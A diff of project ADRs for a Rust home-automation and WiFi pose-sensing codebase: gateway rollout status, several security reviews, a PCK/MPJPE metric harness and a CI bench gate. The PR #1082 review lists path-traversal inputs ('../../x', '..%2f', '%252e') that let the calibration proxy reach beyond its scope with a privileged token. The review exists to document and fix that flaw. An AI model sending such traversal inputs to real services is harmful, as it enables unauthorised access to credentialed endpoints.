+| **W2 — Rooms + Calibration** | `/api/cal/*` reverse-proxy; `GET /api/homecore/rooms` with the §11.3 RoomState adapter + room registry; wire §4.5 + the §4.7 wizard to real endpoints; delete the in-browser calibration stub | EXISTS (proxy+adapter) | Against a running `calibrate-serve` (replayed CSI), the wizard drives a real baseline→enroll→train→verify and §4.5 shows real `RoomState` with correct stale/veto/null mapping; contract test on the adapter |
+| **W3 — Events + Automations** | `GET /api/events` over `homecore-recorder`; `/api/homecore/automations` over `homecore-automation` | NEW-API | §4.8 history loads from recorder; an automation created in the UI persists and fires via the engine |
+| **W4 — COG management** | `/api/homecore/cogs*` supervisor over `/var/lib/cognitum/apps/` (manifest + pid + sig verify + logs + config) | NEW-GW | §4.6 lists real installed COGs; start/stop/restart works; sha256/signature shield reflects real verification; logs tail |
+| **W5 — SEED tier** | SEED registry + pairing; `/api/homecore/seeds*` device proxy; witness merge + privacy control; ESP32 provisioning | SEED-DEV | Against a real or emulated SEED API, §4.2/§4.3/§4.9/§4.10 show real vector-store/witness/sensor/reflex/cognition data; SEED tokens stay server-side; offline SEED → red tint, not a failed page |
+| **W6 — Appliance + federation + Hailo** | `/api/homecore/appliance` (host metrics + service probes); `/api/homecore/hailo`; `/api/homecore/federation` ([ADR-105](ADR-105-federated-csi-training.md)) | NEW-GW + APPLIANCE | §4.1 health is real; §4.6 Hailo HEF/throughput real; §4.3 federation round/coordinator/Krum real |
+
+**Definition of done (full functionality):** with W1–W6 merged and the upstream tiers running, loading `/homecore` with **no** `?demo=1` flag shows live data on all ten panels, `api.anyDemo()` is false, and no panel renders fabricated values. Panels whose tier is offline show typed empty/error states. The mock layer is reachable only as the `?demo=1` developer fixture.
+
+### 12.1 Wave status (this revision)
+
+| Wave | Status |
+|---|---|
+| **W1 — Gateway foundation** | ✅ DONE — `gateway.rs`, auth passthrough, typed `503/504`, merged into `build_app`; front-end mock removed from prod path + `?demo=1` fixture; typed error states. **Compiled + 12/12 Rust tests + JS suite green + run live.** |
+| **W2 — Rooms + Calibration** | ✅ DONE — `/api/cal/*` reverse-proxy + `GET /api/homecore/rooms` RoomState adapter; front-end calibration stub deleted (now proxies the real API). **Proven live against a calibration upstream** (proxy 200 + adapted shape); null-preservation unit-tested. |
+| **W3 — Events + Automations** | ⏳ gateway returns typed `503` (recorder/automation HTTP wrappers pending); front-end handles it gracefully (history note, builder still usable). |
+| **W4 — COG management** | ✅ supervisor DONE — lists `/var/lib/cognitum/apps/` manifests + pid liveness (returns `[]` live with no apps dir); start/stop/log/config control is the remaining follow-up. |
+| **W5 — SEED tier** | ⏳ gateway returns typed `503` (SEED registry + device proxy pending real/emulated SEED hardware). |
+| **W6 — Appliance + federation + Hailo** | ◑ appliance host metrics from `/proc` + port probes DONE (live `/proc` data verified); Hailo stats + federation remain `503` (need the accelerator stat source / coordinator). |
+
+**Status:** the gateway is **compiled and tested on Rust 1.89** (`cargo test -p homecore-server` = 12/12) and was **run live** (curl proof in §10). The one remaining caveat is intrinsic, not an environment limit: **W3/W5/W6-Hailo/federation depend on services/hardware that are not in this repo** (recorder/automation HTTP wrappers, real SEED nodes, the Hailo stat source), so they return honest typed `503`s and the UI shows error states — exactly as §2.2/§11.2 prescribe. W1/W2/W4/W6-appliance are functional now.
+
+### 12.2 Security review (PR #1082)
+
+A high-effort public-PR review of the merged gateway + front-end surfaced the following, all fixed and pinned by tests (`cargo test -p homecore-server` is now **18/18**):
+
+| # | Severity | Finding | Fix |
+|---|---|---|---|
+| 1 | **HIGH** | **Path-traversal / confused-deputy SSRF** in the `/api/cal/*` reverse-proxy. The wildcard path was interpolated into the upstream URL while `proxy()` attaches the privileged server-side calibration bearer, so `/api/cal/v1/../../x` (or `..%2f`, `%2e%2e`, leading `/`, `\`, double-encoded `%252e`) could escape the `…/api/` scope **with the token**. | `validate_proxy_path()` decode-then-checks and rejects absolute / backslash / dot-segment / encoded-traversal paths with a typed **400 before the URL is built** (GET **and** POST); legit `v1/...` paths still pass. |
+| 2 | Correctness | **CORS + tracing didn't cover gateway routes** — `/api/homecore/*` + `/api/cal/*` were `.merge()`d outside `homecore-api::router()`'s layers. | The audited HC-05 `build_cors_layer()` + `TraceLayer` are now applied to the whole merged app in `main.rs`. |
+| 3 | Honesty (§6) | **Fabricated data** — hardcoded `anomaly.threshold: 0.5` in the adapter; dashboard rendered `"null%"`/`"null°C"`; COG Hailo pill hardcoded `"connected"`; `rooms.js` defaulted a null threshold to `0.8`. | Threshold passes through the real upstream value or emits `null` (withheld); dashboard renders `—`; the Hailo pill reflects the real appliance probe; the UI treats a null threshold as withheld. |
+| 4 | Robustness | A string `hef` (forwarded verbatim) threw on `.forEach`/`.join`; `frames/target` could be `NaN%`/`Infinity%`; calibration Restart leaked the baseline `setTimeout` poll. | `asArray()` coercion; `target > 0` guard; cancellable poll cleared on Restart / panel teardown. |
+| 5 | Perf | Sequential per-bank RoomState fetches; blocking `std::net::TcpStream::connect_timeout` probes on an async handler; `mock.js` statically bundled. | Concurrent `futures::join_all`; async `tokio::net::TcpStream` + `timeout`; demo-only dynamic `import()` of `mock.js`. |
+
+**Known limitations carried forward (not regressions):**
+- **`reqwest` rustls-only is a workspace-wide concern.** `homecore-server` opts into `rustls-tls` only, but cargo feature-unification means any sibling crate enabling the default `native-tls` re-introduces OpenSSL into the final binary. A true "no OpenSSL on the appliance" guarantee requires aligning **every** reqwest-pulling crate on rustls-only — out of scope for this PR; documented at the dependency in `Cargo.toml`.
+- **DEV-mode auth.** When `HOMECORE_TOKENS` is unset, the token store falls back to `allow_any_non_empty()` (any non-empty bearer accepted) on `0.0.0.0`. This is pre-existing and intentionally **unchanged** here; the loud boot `warn!` is retained. Provision real tokens (`HOMECORE_TOKENS=…`) before exposing the server to a network.

docs/adr/ADR-133-homecore-assist-ruflo.md

@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
 | **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
 | **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
 | **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
+
+---
+
+## 6. Security review (beyond-SOTA, untrusted-input → action path)
+
+A focused security review of the Assist pipeline — `utterance → recognizer →
+intent → handler → action`, plus `RufloRunner` — treating the utterance as
+untrusted input (voice transcripts, the WebSocket `assist` command). This
+surface was not covered by the ADR-154–159 sweep.
+
+### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
+
+Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
+accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
+clone) + a per-registered-pattern scan (and, in the semantic path, full
+tokenisation + feature-hash embedding) before any bound — an allocation/CPU
+amplification on attacker-controlled input. The `regex` crate is **linear-time**
+(RE2-style finite automaton, no catastrophic backtracking), so this was a
+throughput/memory DoS, not a hang.
+
+**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
+checked at **both** recognizer boundaries *before* any allocation/scan. An
+over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
+identical to an unrecognised phrase — so it can never be coerced into firing a
+handler. Pinned by `over_length_utterance_fails_closed` (an over-length
+utterance that *contains* a valid command resolves to `None`, which would have
+matched on the old code) and `over_length_utterance_fails_closed_semantic`.
+
+### 6.2 Dimensions confirmed clean (with evidence)
+
+- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
+  has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
+  local recognizer, no process). There is **no** `std::process` / `tokio::process`
+  / `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
+  only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
+  are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
+  genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
+  class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
+  when an injection-shaped utterance resolves (the regex is not exact-anchored),
+  the captured slot is a clean token — sanitisation by construction. Pins:
+  `shell_metachars_never_survive_into_a_resolved_slot`,
+  `runner_opts_are_inert_no_process_spawned`,
+  `pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
+- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
+  dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
+  completes in bounded time. Pin:
+  `pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
+  operator-registered, not user-supplied, in any case.
+- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
+  only `&str` and produces values via FNV feature-hashing + a guarded L2
+  normalise (`norm > 1e-12`); no external float input, no unguarded division, so
+  a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
+  against the zero vector is a finite `0.0`; an empty index `max_by` returns
+  `None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
+  place. Pins: `embeddings_are_structurally_finite`,
+  `cosine_with_zero_vector_is_finite_not_nan`,
+  `empty_utterance_against_empty_index_no_panic_no_match`.
+- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
+  (no service call); a recognised intent with no registered handler →
+  `not_understood()`; semantic below-threshold / empty-index → regex fallback.
+  No default high-privilege intent, no fail-open path.
+- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
+  utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
+  the append-only exemplar `Vec` (no remove API), so it is always in bounds.
+
+`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
+default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
+unchanged (homecore-assist is off the signal proof path).

docs/adr/ADR-165-homecore-migrate-from-home-assistant.md

@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
 
 - `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
   unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
+- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
+  NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
+  for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
+  verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
+  the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
+  deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
+  redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
+  file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
+  Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
+  rendered error **and its full `#[source]` chain** never contain the secret value).
+  **Review dimensions confirmed clean with evidence:** source is never mutated (no
+  `fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
+  user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
+  user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
+  panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
+  hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
+  only, persists nothing in P1).
 
 ### 2.5 Deferred to P2+ (NOT built — honestly labelled)
 
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
 
 ### 2.6 Test evidence (as shipped)
 
-- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
+- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
+  2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
+  `malformed_secrets_error_reports_location`).
 
 ## 3. Consequences
 

docs/adr/ADR-172-cli-core-csi-deserialiser-security-review.md

@@ -0,0 +1,117 @@
+# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **CSI-DESERIALISER-HARDENING** |
+| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
+
+## Context
+
+The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
+`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
+security ADR:
+
+- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
+  (types, traits, error types, CSI frame primitives). A defect here is a
+  force-multiplier: every consumer inherits it.
+- **`wifi-densepose-cli`** — the user-facing entrypoint
+  (`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
+  which parses untrusted UDP CSI packets and operator-supplied paths.
+
+A **specific hypothesis** motivated the core review. Three earlier reviews in
+this campaign found a systemic **NaN-state-poisoning bug class** in crates that
+depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
+(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
+running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
+feature failure. The load-bearing question for this review: **does that bug class
+originate in a shared `wifi-densepose-core` primitive** (making the right fix a
+single root fix), or was it independently re-implemented in each downstream
+crate (making the three existing local fixes complete)?
+
+## Decision
+
+Record the review outcome and lock in the existing DoS guards with regression
+tests. **No production code is changed** — both crates were already hardened
+(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
+guards, which a future refactor could silently remove.
+
+### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
+
+`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
+Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
+voxel grid.
+
+- **MEASURED:** `grep` over `core/src` for
+  `welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
+  only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
+  test-only LCG — **zero** stateful logic. The only float math in core is
+  construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
+  pure stateless `utils` functions; nothing persists across frames.
+- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
+  (`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
+  The downstream fixes are independently re-implemented, confirming each crate
+  rolls its own accumulator and each local fix is correct and complete. **A fix
+  in core would be a no-op (there is nothing to fix).**
+
+Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
+core-rooted defect. No hidden fourth instance exists in the shared primitive.
+
+### Findings (all pins — guards already present, now tested)
+
+| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
+|---|----------|----------------------|----------------|---------------------|
+| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
+| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
+| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
+| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
+
+### Dimensions confirmed clean (with evidence)
+
+1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
+   error for every malformed class; `parse_csi_packet` returns `None`. Both
+   fuzz-swept panic-free.
+2. **NaN handling** — `Confidence::new` rejects NaN
+   (`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
+   `to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
+3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
+   panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
+4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
+5. **Path traversal** — `calibrate-serve` defends every client-supplied
+   `room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
+   cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
+   `mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
+6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
+
+## Validation
+
+- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
+- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
+  (core/cli are off the signal proof path — confirms no pipeline alteration)
+
+## Consequences
+
+### Positive
+- Two CSI deserialisers (the untrusted-input boundary of both the library root
+  and the network-facing CLI) now have their DoS guards pinned against
+  regression — a future refactor that drops a length check fails CI.
+- The NaN-state-poisoning class is settled as downstream-local; reviewers no
+  longer need to suspect a shared-root defect, and the three prior local fixes
+  are confirmed complete.
+
+### Negative
+- None. Test-only change; no behavior or API change.
+
+### Neutral
+- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
+  this ADR is the canonical record for the `wifi-densepose-cli` review.
+
+## Links
+- ADR-127 — HOMECORE state machine (shared security-review log, §9)
+- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
+- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)

docs/adr/ADR-173-metric-locked-pck-mpjpe-accuracy-harness.md

@@ -0,0 +1,123 @@
+# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — implemented, deterministically tested |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **METRIC-LOCK** |
+| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
+| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
+
+## Context
+
+The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
+threat to any "beyond-SOTA" accuracy claim this project makes: **metric
+ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
+unstated* normalizations, so they cannot be compared:
+
+- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
+- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
+- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
+
+The project has been burned by this twice: a previously-published 92.9% was
+retracted because it used **absolute-pixel** normalization, not torso. Until
+there is *one canonical, documented, tested* PCK definition — and every reported
+number carries the definition it was computed under — no accuracy comparison is
+credible, and the "prove everything" bar cannot be met for the benchmark half of
+the work.
+
+This is measurement infrastructure, not an accuracy claim. The deliverable's job
+is to make the metric **unambiguous and reproducible**, so future numbers are
+comparable and an unlabeled PCK is structurally impossible.
+
+## Decision
+
+Add a metric-locked accuracy harness as a new module
+`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
+deterministic tests bring the file to 708), re-exported at the crate root. It
+**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
+(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
+there remains exactly one implementation of each geometric reference; the
+existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
+it.
+
+### Public API
+
+- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
+  — the three conventions the three historical numbers used, now **explicit and
+  selectable**. `.label()` / `.tolerance(...)`.
+- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
+  fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
+  where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
+  `AbsolutePixels`).
+- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
+  units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
+  colliding with the existing `eval::mpjpe`.
+- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
+  — **a reported number always carries its `normalization`**; an unlabeled PCK is
+  structurally impossible to produce through this surface.
+- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
+  (micro-averaged over keypoints).
+
+### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
+
+The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
+hand, and assert the harness matches. Highlights (all pass):
+
+| Test | Construction | Expected |
+|------|--------------|----------|
+| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
+| all_just_outside | every error just past τ@20 | PCK=0.0 |
+| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
+| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
+| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
+| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
+| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
+| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
+| nan_coords | one NaN pred coord | counted wrong, **no panic** |
+| empty report | no frames | 0.0, **not** NaN |
+| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
+
+### The key proof (the ambiguity is real and quantified)
+
+Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
+Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
+`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
+convention passes joints the strict torso convention rejects. This is *exactly*
+why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
+in-code.
+
+## Validation
+
+- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
+  (+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
+  (off the signal proof path — confirms no pipeline alteration).
+
+## Consequences
+
+### Positive
+- The three historical PCK numbers can now be **recomputed under one declared
+  definition** and compared honestly. The retracted-number class of error
+  (silent normalization mismatch) is structurally prevented going forward.
+- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
+  cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
+  harness can produce comparably.
+
+### Negative
+- None functional. The harness is additive; no existing metric path changed.
+
+### Neutral
+- Producing actual model numbers under this harness requires the trained models +
+  datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
+  the benchmark/optimization milestone — out of scope here (this ADR is the
+  *instrument*, not the *reading*).
+
+## Links
+- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
+- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
+- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
+- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)

docs/adr/ADR-174-ci-bench-regression-compile-verify-gate.md

@@ -0,0 +1,110 @@
+# ADR-174: CI Bench-Regression Gate (Compile-Verify)
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — implemented, caught one real bit-rotted bench |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **BENCH-GATE** |
+| **Milestone** | benchmark/optimization re-balance — sub-deliverable 8.3 |
+| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (target 3: criterion benches as CI regression baselines) |
+
+## Context
+
+The v2/ workspace ships **26 criterion benches across 18 crates** (e.g.
+`nvsim/pipeline_throughput`, `wifi-densepose-ruvector/{ann,sketch,fusion}_bench`,
+`wifi-densepose-signal/{signal,dsp_perf,features,calibration,cir,…}_bench`,
+`wifi-densepose-mat/detection_bench`, `wifi-densepose-nn/{inference,native_conv}_bench`,
+`wifi-densepose-engine/engine_cycle`, …). Because **benches are not part of
+`cargo test`**, nothing in CI compiled them — so they bit-rot silently the moment
+a public API they call changes, and the rot is invisible until someone manually
+runs `cargo bench` months later.
+
+The SOTA brief named "wire existing criterion benches into CI as regression
+baselines" as a concrete benchmark-hygiene target. The honest difficulty: true
+*timing*-regression gating on shared GitHub runners is unreliable — wall-clock
+varies 2–3× run-to-run (a captured 10-sample run showed `float_l2/512` ranging
+307–444 ns), so a hard threshold or a cross-runner `criterion --baseline` compare
+(baseline and PR land on different physical machines) would manufacture false
+regressions. A gate that cries wolf gets disabled.
+
+## Decision
+
+Add `.github/workflows/bench-regression.yml` with **two jobs of explicitly
+different authority** — and do NOT pretend to gate on timing.
+
+### `bench-compile` — HARD GATE (real regression detection)
+`cargo bench --workspace --no-default-features --no-run` compiles + links every
+default-feature bench (no measurement → fully deterministic), plus a
+`--features cir` compile of the gated `cir_bench`. Benches aren't in `cargo test`,
+so this is the genuine guard: **the build fails the moment a bench stops
+compiling.**
+
+### `bench-fast-run` — INFORMATIONAL (`continue-on-error: true`, never gates)
+Runs a curated pure-CPU subset (`nvsim/pipeline_throughput`,
+`ruvector/{sketch,fusion}_bench`) in criterion quick-mode (1 s warm-up / 2 s
+measure / 10 samples), targeted per-`--bench`, and uploads logs as an artifact.
+Every number it produces is **informational only** — explicitly stated in the
+workflow header.
+
+### What is NOT done, and why (honest scope)
+No timing-regression gate, no committed baseline JSON. The workflow header
+documents the exact condition under which true timing-gating becomes honest: a
+frequency-pinned **self-hosted** runner with a generous (>2×) floor. A
+cross-runner baseline would be dishonest, so none is committed.
+
+### Proof it matters (MEASURED)
+Running the new gate on the current tree immediately caught
+`wifi-densepose-mat/detection_bench` failing to compile:
+`error[E0063]: missing field last_rssi in initializer of SensorPosition` — the
+struct gained a field; the bench was never updated. **Fixed** in the same change
+(`last_rssi: None`, the simulated-zone convention) and re-verified
+(`cargo bench -p wifi-densepose-mat --no-default-features --bench detection_bench --no-run`
+→ `Finished`). The gate paid for itself on its first run.
+
+### Exclusions (documented in-workflow)
+- `ruvector/crv_bench` — its crates.io dep `ruvector-crv 0.1.1` fails to build on
+  stable (upstream `E0308` in `stage_iii.rs`); excluded with a re-add condition.
+- `onnx_bench` / `mqtt_throughput` — feature-gated (ort / mqtt), left to their
+  crates' own workflows. `wasm-edge/process_frame_bench` — workspace-excluded.
+
+Conventions mirror existing workflows: `submodules: recursive` (the workspace
+path-deps `vendor/rufield`), Swatinem/rust-cache `workspaces: v2`, Tauri/GTK apt
+deps (a `--workspace` bench link pulls the whole graph), path-filtered triggers.
+
+## Validation
+
+- **Bit-rot caught + fixed** (above), re-verified `--no-run`.
+- **MEASURED locally** (`--no-default-features`, Windows): nvsim, ruvector
+  (sketch/fusion/ann), signal/cir_bench, mat/detection_bench (post-fix),
+  vitals, ruview-swarm/swarm_bench all compile; fast subset runs (`nvsim
+  pipeline_run/d1/256` ≈ 55 µs; `ruvector sketch_hamming` ≈ 3–7 ns vs `float_l2`
+  ≈ 63–371 ns).
+- `cargo test -p wifi-densepose-mat --no-default-features` → 166/6/2 passed, 0 failed.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21…46f7a` unchanged.
+- **Honest limitation:** the full `--workspace --no-run` could not be
+  end-to-end validated on this Windows box (`desktop` needs GTK, `candle-core`
+  fails on MSVC, `swarm_bench` LTO-links OOM under parallel pressure — all
+  Windows-env artifacts; each affected bench compiles standalone here). **The
+  first green Linux CI run on the PR is the authoritative proof of the
+  `--workspace` step.**
+
+## Consequences
+
+### Positive
+- Bench bit-rot is now a hard CI failure, not a silent surprise — the 26 benches
+  stay compilable as the APIs they exercise evolve.
+- The benchmark-infrastructure half of the DoD (step 5) is satisfied honestly,
+  setting up the next sub-deliverable (QAT-int8 measurement) to be
+  regression-protected.
+
+### Negative / Neutral
+- No automated timing-regression detection (deliberate — see scope). Revisit only
+  with a frequency-pinned self-hosted runner.
+- One bench (`crv_bench`) excluded pending an upstream dep fix.
+
+## Links
+- ADR-173 — metric-locked accuracy harness (sub-deliverable 8.1)
+- `docs/research/sota-nn-train-benchmark-brief.md` — motivating target
+- ADR-134 (CIR), ADR-135 (calibration), ADR-154 (signal DSP benches) — benched paths

docs/adr/ADR-175-int8-quantization-half-pose-model-measured.md

@@ -0,0 +1,172 @@
+# ADR-175: int8 Quantization of the WiFlow-STD "half" Pose Model — MEASURED accuracy/size trade-off
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — MEASURED, reproducible (honest negative) |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **EDGE-INT8** |
+| **Sub-deliverable** | 8.2 of the benchmark/optimization milestone |
+| **Metric lock** | ADR-173 (one declared PCK normalization for every reported number) |
+| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (§edge int8) |
+
+## Context
+
+The SOTA brief characterized the int8 edge story for the WiFlow-STD pose net as
